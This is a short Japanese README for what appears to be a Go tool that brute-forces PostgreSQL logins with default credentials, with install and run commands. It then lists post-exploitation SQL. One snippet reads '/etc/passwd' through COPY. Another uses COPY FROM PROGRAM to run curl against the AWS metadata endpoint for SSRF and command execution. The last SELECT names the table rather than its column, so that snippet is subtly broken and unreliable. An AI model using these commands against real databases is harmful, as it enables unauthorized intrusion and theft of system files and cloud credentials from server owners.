
このツールは、デフォルトの認証情報のリストを取得し、PostgreSQLサーバーに対してテストして、動作したものとアクセス可能なデータベースをログに記録します。
このGoスクリプトは、creds.txt というファイルからユーザー名とパスワードのリストを読み込み、PostgreSQLデータベースに対してそれらを試します。
このスクリプトは、コマンドライン引数としてPostgreSQLサーバーのIPを、またはIPアドレスのテキストファイルを受け取ります。
アクセスが許可された場合、スクリプトはその出力を pg-output.txt というファイルに書き込みます。
ユーザー postgres が利用可能な場合、これは通常スーパーユーザーであり、RCE、LFI、SSRFを可能にすることがあります。
go install -v github.com/RandomRobbieBF/postgres-bruteforcer@latest
go run postgres-brute.go 1.1.1.1
postgres
/etc/passwd/ を取得
CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;
SSRF - AWSメタデータを取得
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;